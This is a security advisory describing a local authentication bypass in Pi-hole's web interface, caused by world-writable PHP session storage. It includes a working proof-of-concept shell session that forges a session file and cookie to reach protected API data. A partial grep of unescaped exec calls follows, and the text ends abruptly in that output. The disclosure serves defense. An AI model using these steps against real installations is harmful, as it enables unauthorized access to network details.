Pi-hole: Web Authentication ByPass

### Summary Web authentication bypass with local system access via world writable permissions. ### Severity High - Allows attackers to bypass web authentication. ### Proof of Concept #### Local System Users can bypass Web Interface Authentication It’s possible for a local user (non-root & non-pihole) to write to /var/lib/php/sessions to bypass the web interface’s login page. ``` root@2f496b742755:/# apt update && apt install curl -y root@2f496b742755:/# useradd -m -s /bin/bash test root@2f496b742755:/# su - test test@2f496b742755:~$ curl 'localhost/admin/api.php?status&versions=' {"core_update":false,"web_update":false,"FTL_update":false,"docker_update":false,"core_current":"v5.17.1","web_current":"v5.20.1","FTL_current":"v5.23","docker_current":"2023.05.2","core_latest":"v5.17.1","web_latest":"v5.20.1","FTL_latest":"v5.23","docker_latest":"2023.05.2","core_branch":"master","web_branch":"master","FTL_branch":"master"} test@2f496b742755:~$ curl -b "persistentlogin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 'localhost/admin/api_db.php?status&network=' test@2f496b742755:~$ UMASK=0777 echo 1689793078 > /var/lib/php/sessions/ph_plt_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.txt test@2f496b742755:~$ curl -b "persistentlogin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 'localhost/admin/api_db.php?status&network=' {"network":[{"id":1,"hwaddr":"02:42:28:c7:59:64","interface":"eth2","firstSeen":1689191102,"lastQuery":0,"numQueries":0,"macVendor":"","aliasclient_id":null,"ip":["172.18.0.1"],"name":[""]},{"id":2,"hwaddr":"00:00:00:00:00:00","interface":"lo","firstSeen":1689191102,"lastQuery":1689191140,"numQueries":4,"macVendor":"virtual interface","aliasclient_id":null,"ip":["127.0.0.1"],"name":["localhost"]},{"id":3,"hwaddr":"02:42:0a:00:05:03","interface":"eth1@if127","firstSeen":1689191102,"lastQuery":0,"numQueries":0,"macVendor":"","aliasclient_id":null,"ip":["10.0.5.3"],"name":[""]},{"id":4,"hwaddr":"02:42:ac:12:00:03","interface":"eth2@if129","firstSeen":1689191102,"lastQuery":0,"numQueries":0,"macVendor":"","aliasclient_id":null,"ip":["172.18.0.3"],"name":[""]},{"id":5,"hwaddr":"02:42:0a:00:00:0f","interface":"eth0@if131","firstSeen":1689191102,"lastQuery":0,"numQueries":0,"macVendor":"","aliasclient_id":null,"ip":["10.0.0.15"],"name":[""]},{"id":6,"hwaddr":"02:42:0a:00:00:06","interface":"eth0","firstSeen":1689191160,"lastQuery":1689191146,"numQueries":3,"macVendor":"","aliasclient_id":null,"ip":["10.0.0.6"],"name":[""]},{"id":7,"hwaddr":"ip-::","interface":"N\/A","firstSeen":1689191160,"lastQuery":1689191140,"numQueries":14,"macVendor":"","aliasclient_id":null,"ip":["::"],"name":["pi.hole"]}],"message_count":0} ``` From the Chrome console a user can simply set a peristentlogin cookie to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and refresh the page.  Note it's the Debian php package itself that sets /var/lib/php/sessions permissions as world writable. ``` root@f612b9a22be3:/# apt update && apt install php -y root@f612b9a22be3:/# ls -ld /var/lib/php/sessions/ drwx-wx-wt 2 root root 4096 Jul 13 2022 /var/lib/php/sessions/ ``` ### Further Analysis Most system calls use pihole_execute() which wrap commands with escapeshellcmd(). There are a few system calls however that do not wrap escapeshellcmd(). ``` # grep exec\( -R AdminLTE/*.php | grep -v pihole_execute | grep -v stmt AdminLTE/settings.php: $timezone = shell_exec("date +'%Z'"); AdminLTE/settings.php: $FTLversion = exec('/usr/bin/pihole-FTL version'); # grep exec\( -R AdminLTE/scripts/pi-hole/php/*.php | grep -v '$db' AdminLTE/scripts/pi-hole/php/func.php: exec($command, $output, $return_status); AdminLTE/scripts/pi-hole/php/func.php: return shell_exec('pidof pihole-FTL'); AdminLTE/scripts/pi-hole/php/func.php: return trim(exec('ps -p '.$FTLpid.' -o '.$arg)); AdminLTE/scripts/pi-hole/php/header_authenticated.php:$nproc = shell_exec('nproc'); AdminLTE/

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-3658-w6j3-w42r
• github.com/google/security-research